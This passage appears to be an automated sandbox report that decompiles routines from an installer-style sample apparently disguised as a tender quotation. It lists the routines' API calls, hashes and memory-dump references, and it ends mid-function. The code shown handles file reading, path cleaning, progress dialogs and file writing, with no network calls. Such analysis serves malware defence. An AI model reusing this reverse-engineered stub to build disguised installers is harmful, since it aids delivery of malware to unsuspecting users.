          • Instruction Fuzzy Hash: DE2197715007049FC7309F28D908B5BBBF8AF42714F008D2EE992A22E1D739D944DB58
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 87%
          			E004026EC(intOrPtr __ebx, intOrPtr __edx, void* __edi) {
          				intOrPtr _t65;
          				intOrPtr _t66;
          				intOrPtr _t72;
          				void* _t76;
          				void* _t79;
          
          				_t72 = __edx;
          				 *((intOrPtr*)(_t76 - 8)) = __ebx;
          				_t65 = 2;
          				 *((intOrPtr*)(_t76 - 0x4c)) = _t65;
          				_t66 = E00402D84(_t65);
          				_t79 = _t66 - 1;
          				 *((intOrPtr*)(_t76 - 0x10)) = _t72;
          				 *((intOrPtr*)(_t76 - 0x44)) = _t66;
          				if(_t79 < 0) {
          					L36:
          					 *0x42a2e8 =  *0x42a2e8 +  *(_t76 - 4);
          				} else {
          					__ecx = 0x3ff;
          					if(__eax > 0x3ff) {
          						 *(__ebp - 0x44) = 0x3ff;
          					}
          					if( *__edi == __bx) {
          						L34:
          						__ecx =  *(__ebp - 0xc);
          						__eax =  *(__ebp - 8);
          						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
          						if(_t79 == 0) {
          							 *(_t76 - 4) = 1;
          						}
          						goto L36;
          					} else {
          						 *(__ebp - 0x38) = __ebx;
          						 *(__ebp - 0x18) = E004065C8(__ecx, __edi);
          						if( *(__ebp - 0x44) > __ebx) {
          							do {
          								if( *((intOrPtr*)(__ebp - 0x34)) != 0x39) {
          									if( *((intOrPtr*)(__ebp - 0x24)) != __ebx ||  *(__ebp - 8) != __ebx || E00406239( *(__ebp - 0x18), __ebx) >= 0) {
          										__eax = __ebp - 0x50;
          										if(E004061DB( *(__ebp - 0x18), __ebp - 0x50, 2) == 0) {
          											goto L34;
          										} else {
          											goto L21;
          										}
          									} else {
          										goto L34;
          									}
          								} else {
          									__eax = __ebp - 0x40;
          									_push(__ebx);
          									_push(__ebp - 0x40);
          									__eax = 2;
          									__ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)) = __ebp + 0xa;
          									__eax = ReadFile( *(__ebp - 0x18), __ebp + 0xa, __ebp - 0x40 -  *((intOrPtr*)(__ebp - 0x24)), ??, ??);
          									if(__eax == 0) {
          										goto L34;
          									} else {
          										__ecx =  *(__ebp - 0x40);
          										if(__ecx == __ebx) {
          											goto L34;
          										} else {
          											__ax =  *(__ebp + 0xa) & 0x000000ff;
          											 *(__ebp - 0x4c) = __ecx;
          											 *(__ebp - 0x50) = __eax;
          											if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
          												L28:
          												__ax & 0x0000ffff = E004065AF( *(__ebp - 0xc), __ax & 0x0000ffff);
          											} else {
          												__ebp - 0x50 = __ebp + 0xa;
          												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x50, 1) != 0) {
          													L21:
          													__eax =  *(__ebp - 0x50);
          												} else {
          													__edi =  *(__ebp - 0x4c);
          													__edi =  ~( *(__ebp - 0x4c));
          													while(1) {
          														_t22 = __ebp - 0x40;
          														 *_t22 =  *(__ebp - 0x40) - 1;
          														__eax = 0xfffd;
          														 *(__ebp - 0x50) = 0xfffd;
          														if( *_t22 == 0) {
          															goto L22;
          														}
          														 *(__ebp - 0x4c) =  *(__ebp - 0x4c) - 1;
          														__edi = __edi + 1;
          														SetFilePointer( *(__ebp - 0x18), __edi, __ebx, 1) = __ebp - 0x50;
          														__eax = __ebp + 0xa;
          														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x40), __ebp - 0x50, 1) == 0) {
          															continue;
          														} else {
          															goto L21;
          														}
          														goto L22;
          													}
          												}
          												L22:
          												if( *((intOrPtr*)(__ebp - 0x24)) != __ebx) {
          													goto L28;
          												} else {
          													if( *(__ebp - 0x38) == 0xd ||  *(__ebp - 0x38) == 0xa) {
          														if( *(__ebp - 0x38) == __ax || __ax != 0xd && __ax != 0xa) {
          															 *(__ebp - 0x4c) =  ~( *(__ebp - 0x4c));
          															__eax = SetFilePointer( *(__ebp - 0x18),  ~( *(__ebp - 0x4c)), __ebx, 1);
          														} else {
          															__ecx =  *(__ebp - 0xc);
          															__edx =  *(__ebp - 8);
          															 *(__ebp - 8) =  *(__ebp - 8) + 1;
          															 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
          														}
          														goto L34;
          													} else {
          														__ecx =  *(__ebp - 0xc);
          														__edx =  *(__ebp - 8);
          														 *(__ebp - 8) =  *(__ebp - 8) + 1;
          														 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __ax;
          														 *(__ebp - 0x38) = __eax;
          														if(__ax == __bx) {
          															goto L34;
          														} else {
          															goto L26;
          														}
          													}
          												}
          											}
          										}
          									}
          								}
          								goto L37;
          								L26:
          								__eax =  *(__ebp - 8);
          							} while ( *(__ebp - 8) <  *(__ebp - 0x44));
          						}
          						goto L34;
          					}
          				}
          				L37:
          				return 0;
          			}








          0x004026ec
          0x004026ee
          0x004026f1
          0x004026f3
          0x004026f6
          0x004026fb
          0x004026ff
          0x00402702
          0x00402705
          0x00402c2a
          0x00402c2d
          0x0040270b
          0x0040270b
          0x00402712
          0x00402714
          0x00402714
          0x0040271a
          0x0040287e
          0x0040287e
          0x00402881
          0x00402886
          0x004015b6
          0x0040292e
          0x0040292e
          0x00000000
          0x00402720
          0x00402721
          0x0040272c
          0x0040272f
          0x0040273b
          0x0040273f
          0x004027d7
          0x004027ef
          0x004027ff
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00402745
          0x00402745
          0x00402748
          0x00402749
          0x0040274c
          0x00402751
          0x00402758
          0x00402760
          0x00000000
          0x00402766
          0x00402766
          0x0040276b
          0x00000000
          0x00402771
          0x00402771
          0x00402779
          0x0040277c
          0x0040277f
          0x0040283a
          0x00402841
          0x00402785
          0x0040278b
          0x00402797
          0x00402801
          0x00402801
          0x00402799
          0x00402799
          0x0040279c
          0x0040279e
          0x0040279e
          0x0040279e
          0x004027a1
          0x004027a6
          0x004027a9
          0x00000000
          0x00000000
          0x004027ab
          0x004027ae
          0x004027bc
          0x004027c2
          0x004027d0
          0x00000000
          0x004027d2
          0x00000000
          0x004027d2
          0x00000000
          0x004027d0
          0x0040279e
          0x00402804
          0x00402807
          0x00000000
          0x00402809
          0x0040280e
          0x0040284f
          0x00402871
          0x00402878
          0x0040285d
          0x0040285d
          0x00402860
          0x00402863
          0x00402866
          0x00402866
          0x00000000
          0x00402817
          0x00402817
          0x0040281a
          0x0040281d
          0x00402823
          0x00402827
          0x0040282a
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040282a
          0x0040280e
          0x00402807
          0x0040277f
          0x0040276b
          0x00402760
          0x00000000
          0x0040282c
          0x0040282c
          0x0040282f
          0x00402838
          0x00000000
          0x0040272f
          0x0040271a
          0x00402c33
          0x00402c39

          APIs
          • ReadFile.KERNEL32(?,?,?,?), ref: 00402758
          • MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402793
          • SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027B6
          • MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027CC
            • Part of subcall function 00406239: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 0040624F
          • SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402878
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: File$Pointer$ByteCharMultiWide$Read
          • String ID: 9
          • API String ID: 163830602-2366072709
          • Opcode ID: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
          • Instruction ID: 581cf2785626502de532f206a1de9da9d9b8d20bcd24121b7f7bd1133decb9a2
          • Opcode Fuzzy Hash: c494a9c5f1831dca55446a6dfc25bb45b63b896379fbbdb0ec38153142a3ac1c
          • Instruction Fuzzy Hash: CE51FB75D00219AADF20EF95CA88AAEBB75FF04304F50417BE541B62D4D7B49D82CB58
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 91%
          			E004068EF(WCHAR* _a4) {
          				short _t5;
          				short _t7;
          				WCHAR* _t19;
          				WCHAR* _t20;
          				WCHAR* _t21;
          
          				_t20 = _a4;
          				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
          					_t20 =  &(_t20[4]);
          				}
          				if( *_t20 != 0 && E00405FAE(_t20) != 0) {
          					_t20 =  &(_t20[2]);
          				}
          				_t5 =  *_t20;
          				_t21 = _t20;
          				_t19 = _t20;
          				if(_t5 != 0) {
          					do {
          						if(_t5 > 0x1f &&  *((short*)(E00405F64(L"*?|<>/\":", _t5))) == 0) {
          							E00406113(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
          							_t19 = CharNextW(_t19);
          						}
          						_t20 = CharNextW(_t20);
          						_t5 =  *_t20;
          					} while (_t5 != 0);
          				}
          				 *_t19 =  *_t19 & 0x00000000;
          				while(1) {
          					_push(_t19);
          					_push(_t21);
          					_t19 = CharPrevW();
          					_t7 =  *_t19;
          					if(_t7 != 0x20 && _t7 != 0x5c) {
          						break;
          					}
          					 *_t19 =  *_t19 & 0x00000000;
          					if(_t21 < _t19) {
          						continue;
          					}
          					break;
          				}
          				return _t7;
          			}








          0x004068f1
          0x004068fa
          0x00406911
          0x00406911
          0x00406918
          0x00406924
          0x00406924
          0x00406927
          0x0040692a
          0x0040692f
          0x00406931
          0x0040693a
          0x0040693e
          0x0040695b
          0x00406963
          0x00406963
          0x00406968
          0x0040696a
          0x0040696d
          0x00406972
          0x00406973
          0x00406977
          0x00406977
          0x00406978
          0x0040697f
          0x00406981
          0x00406988
          0x00000000
          0x00000000
          0x00406990
          0x00406996
          0x00000000
          0x00000000
          0x00000000
          0x00406996
          0x0040699b

          APIs
          • CharNextW.USER32(?,*?|<>/":,00000000,00000000,772EFAA0,C:\Users\user~1\AppData\Local\Temp\,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406952
          • CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406961
          • CharNextW.USER32(?,00000000,772EFAA0,C:\Users\user~1\AppData\Local\Temp\,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406966
          • CharPrevW.USER32(?,?,772EFAA0,C:\Users\user~1\AppData\Local\Temp\,?,0040361B,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00403923), ref: 00406979
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Char$Next$Prev
          • String ID: *?|<>/":$C:\Users\user~1\AppData\Local\Temp\
          • API String ID: 589700163-1439852002
          • Opcode ID: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
          • Instruction ID: d28fb8c2eefe6f61a155ceb01790bbf8b21f4710aa7989e54d8eeb8481a577c9
          • Opcode Fuzzy Hash: 4a25a2118415850d7bb15acf585ec7f7b5de772317bec8c7d00468289de3f440
          • Instruction Fuzzy Hash: 2611089580061295DB303B18CC40BB762F8AF99B50F12403FE98A776C1E77C4C9286BD
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040302E(intOrPtr _a4) {
          				short _v132;
          				long _t6;
          				struct HWND__* _t7;
          				struct HWND__* _t15;
          
          				if(_a4 != 0) {
          					_t15 =  *0x420efc;
          					if(_t15 != 0) {
          						_t15 = DestroyWindow(_t15);
          					}
          					 *0x420efc = 0;
          					return _t15;
          				}
          				if( *0x420efc != 0) {
          					return E00406A71(0);
          				}
          				_t6 = GetTickCount();
          				if(_t6 >  *0x42a26c) {
          					if( *0x42a268 == 0) {
          						_t7 = CreateDialogParamW( *0x42a260, 0x6f, 0, E00402F93, 0);
          						 *0x420efc = _t7;
          						return ShowWindow(_t7, 5);
          					}
          					if(( *0x42a314 & 0x00000001) != 0) {
          						wsprintfW( &_v132, L"... %d%%", E00403012());
          						return E004056CA(0,  &_v132);
          					}
          				}
          				return _t6;
          			}







          0x0040303d
          0x0040303f
          0x00403046
          0x00403049
          0x00403049
          0x0040304f
          0x00000000
          0x0040304f
          0x0040305d
          0x00000000
          0x00403060
          0x00403067
          0x00403073
          0x0040307b
          0x004030b9
          0x004030c2
          0x00000000
          0x004030c7
          0x00403084
          0x00403095
          0x00000000
          0x004030a3
          0x00403084
          0x004030cf

          APIs
          • DestroyWindow.USER32(?,00000000), ref: 00403049
          • GetTickCount.KERNEL32 ref: 00403067
          • wsprintfW.USER32 ref: 00403095
            • Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
            • Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
            • Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
            • Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
            • Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
            • Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
            • Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785
          • CreateDialogParamW.USER32 ref: 004030B9
          • ShowWindow.USER32(00000000,00000005), ref: 004030C7
            • Part of subcall function 00403012: MulDiv.KERNEL32(?,00000064,?), ref: 00403027
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
          • String ID: ... %d%%
          • API String ID: 722711167-2449383134
          • Opcode ID: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
          • Instruction ID: 5af6bf9b0b70cf9307c1258d0e5a667b07be53d22b58a3258066d7aee54b172b
          • Opcode Fuzzy Hash: a65563718f57099a27635650194dd277da09fbe66beefc8d93bb4be83c5e7891
          • Instruction Fuzzy Hash: E8018E70553614DBC7317F60AE08A5A3EACAB00F06F54457AF841B21E9DAB84645CBAE
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00404F7F(struct HWND__* _a4, intOrPtr _a8) {
          				long _v8;
          				signed char _v12;
          				unsigned int _v16;
          				void* _v20;
          				intOrPtr _v24;
          				long _v56;
          				void* _v60;
          				long _t15;
          				unsigned int _t19;
          				signed int _t25;
          				struct HWND__* _t28;
          
          				_t28 = _a4;
          				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
          				if(_a8 == 0) {
          					L4:
          					_v56 = _t15;
          					_v60 = 4;
          					SendMessageW(_t28, 0x113e, 0,  &_v60);
          					return _v24;
          				}
          				_t19 = GetMessagePos();
          				_v16 = _t19 >> 0x10;
          				_v20 = _t19;
          				ScreenToClient(_t28,  &_v20);
          				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
          				if((_v12 & 0x00000066) != 0) {
          					_t15 = _v8;
          					goto L4;
          				}
          				return _t25 | 0xffffffff;
          			}














          0x00404f8d
          0x00404f9a
          0x00404fa0
          0x00404fde
          0x00404fde
          0x00404fed
          0x00404ff4
          0x00000000
          0x00404ff6
          0x00404fa2
          0x00404fb1
          0x00404fb9
          0x00404fbc
          0x00404fce
          0x00404fd4
          0x00404fdb
          0x00000000
          0x00404fdb
          0x00000000

          APIs
          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404F9A
          • GetMessagePos.USER32 ref: 00404FA2
          • ScreenToClient.USER32 ref: 00404FBC
          • SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FCE
          • SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FF4
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Message$Send$ClientScreen
          • String ID: f
          • API String ID: 41195575-1993550816
          • Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
          • Instruction ID: ce4c7d6d39dceca23aa6ebdb29af7737867007859e7bede0b388bd4d525dd41f
          • Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
          • Instruction Fuzzy Hash: 3C014C71940219BADB00DBA4DD85BFEBBB8AF54711F10012BBB50B61C0D6B49A058BA5
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
          				short _v132;
          				void* _t11;
          				WCHAR* _t19;
          
          				if(_a8 == 0x110) {
          					SetTimer(_a4, 1, 0xfa, 0);
          					_a8 = 0x113;
          				}
          				if(_a8 == 0x113) {
          					_t11 = E00403012();
          					_t19 = L"unpacking data: %d%%";
          					if( *0x42a270 == 0) {
          						_t19 = L"verifying installer: %d%%";
          					}
          					wsprintfW( &_v132, _t19, _t11);
          					SetWindowTextW(_a4,  &_v132);
          					SetDlgItemTextW(_a4, 0x406,  &_v132);
          				}
          				return 0;
          			}






          0x00402fa3
          0x00402fb1
          0x00402fb7
          0x00402fb7
          0x00402fc5
          0x00402fc7
          0x00402fd3
          0x00402fd8
          0x00402fda
          0x00402fda
          0x00402fe5
          0x00402ff5
          0x00403007
          0x00403007
          0x0040300f

          APIs
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Text$ItemTimerWindowwsprintf
          • String ID: unpacking data: %d%%$verifying installer: %d%%
          • API String ID: 1451636040-1158693248
          • Opcode ID: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
          • Instruction ID: 34ad84b97f90b05cf42cbebec4ee1aaae98efe268bf46a139428006d78f28757
          • Opcode Fuzzy Hash: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
          • Instruction Fuzzy Hash: 25F0497050020DABEF246F60DD49BEA3B69FB00309F00803AFA05B51D0DFBD9A559F59
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 93%
          			E00402950(void* __ebx) {
          				WCHAR* _t26;
          				void* _t29;
          				long _t37;
          				void* _t49;
          				void* _t52;
          				void* _t54;
          				void* _t56;
          				void* _t59;
          				void* _t60;
          				void* _t61;
          
          				_t49 = __ebx;
          				_t52 = 0xfffffd66;
          				_t26 = E00402DA6(0xfffffff0);
          				_t55 = _t26;
          				 *(_t61 - 0x40) = _t26;
          				if(E00405FAE(_t26) == 0) {
          					E00402DA6(0xffffffed);
          				}
          				E00406133(_t55);
          				_t29 = E00406158(_t55, 0x40000000, 2);
          				 *(_t61 + 8) = _t29;
          				if(_t29 != 0xffffffff) {
          					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
          					if( *(_t61 - 0x28) != _t49) {
          						_t37 =  *0x42a274;
          						 *(_t61 - 0x44) = _t37;
          						_t54 = GlobalAlloc(0x40, _t37);
          						if(_t54 != _t49) {
          							E004035F8(_t49);
          							E004035E2(_t54,  *(_t61 - 0x44));
          							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
          							 *(_t61 - 0x10) = _t59;
          							if(_t59 != _t49) {
          								E00403371(_t51,  *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
          								while( *_t59 != _t49) {
          									_t51 =  *_t59;
          									_t60 = _t59 + 8;
          									 *(_t61 - 0x3c) =  *_t59;
          									E00406113( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
          									_t59 = _t60 +  *(_t61 - 0x3c);
          								}
          								GlobalFree( *(_t61 - 0x10));
          							}
          							E0040620A( *(_t61 + 8), _t54,  *(_t61 - 0x44));
          							GlobalFree(_t54);
          							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
          						}
          					}
          					_t52 = E00403371(_t51,  *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
          					CloseHandle( *(_t61 + 8));
          				}
          				_t56 = 0xfffffff3;
          				if(_t52 < _t49) {
          					_t56 = 0xffffffef;
          					DeleteFileW( *(_t61 - 0x40));
          					 *((intOrPtr*)(_t61 - 4)) = 1;
          				}
          				_push(_t56);
          				E00401423();
          				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t61 - 4));
          				return 0;
          			}













          0x00402950
          0x00402952
          0x00402957
          0x0040295c
          0x0040295f
          0x00402969
          0x0040296d
          0x0040296d
          0x00402973
          0x00402980
          0x00402988
          0x0040298b
          0x00402997
          0x0040299a
          0x004029a0
          0x004029ae
          0x004029b3
          0x004029b7
          0x004029ba
          0x004029c3
          0x004029cf
          0x004029d3
          0x004029d6
          0x004029e0
          0x004029ff
          0x004029e7
          0x004029ec
          0x004029f4
          0x004029f7
          0x004029fc
          0x004029fc
          0x00402a06
          0x00402a06
          0x00402a13
          0x00402a19
          0x00402a1f
          0x00402a1f
          0x004029b7
          0x00402a33
          0x00402a35
          0x00402a35
          0x00402a3f
          0x00402a40
          0x00402a44
          0x00402a48
          0x00402a4e
          0x00402a4e
          0x00402a55
          0x004022f1
          0x00402c2d
          0x00402c39

          APIs
          • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
          • GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
          • GlobalFree.KERNEL32 ref: 00402A06
          • GlobalFree.KERNEL32 ref: 00402A19
          • CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
          • DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Global$AllocFree$CloseDeleteFileHandle
          • String ID:
          • API String ID: 2667972263-0
          • Opcode ID: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
          • Instruction ID: 78b93316678d616cb595922dcd62a83f4062aa2fb33f08fb70827f98fa9650ab
          • Opcode Fuzzy Hash: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
          • Instruction Fuzzy Hash: E131B171D00124BBCF216FA9CE89D9EBE79AF09364F10023AF461762E1CB794D429B58
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 77%
          			E00404E71(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
          				char _v68;
          				char _v132;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				signed int _t23;
          				signed int _t24;
          				void* _t31;
          				void* _t33;
          				void* _t34;
          				void* _t44;
          				signed int _t46;
          				signed int _t50;
          				signed int _t52;
          				signed int _t53;
          				signed int _t55;
          
          				_t23 = _a16;
          				_t53 = _a12;
          				_t44 = 0xffffffdc;
          				if(_t23 == 0) {
          					_push(0x14);
          					_pop(0);
          					_t24 = _t53;
          					if(_t53 < 0x100000) {
          						_push(0xa);
          						_pop(0);
          						_t44 = 0xffffffdd;
          					}
          					if(_t53 < 0x400) {
          						_t44 = 0xffffffde;
          					}
          					if(_t53 < 0xffff3333) {
          						_t52 = 0x14;
          						asm("cdq");
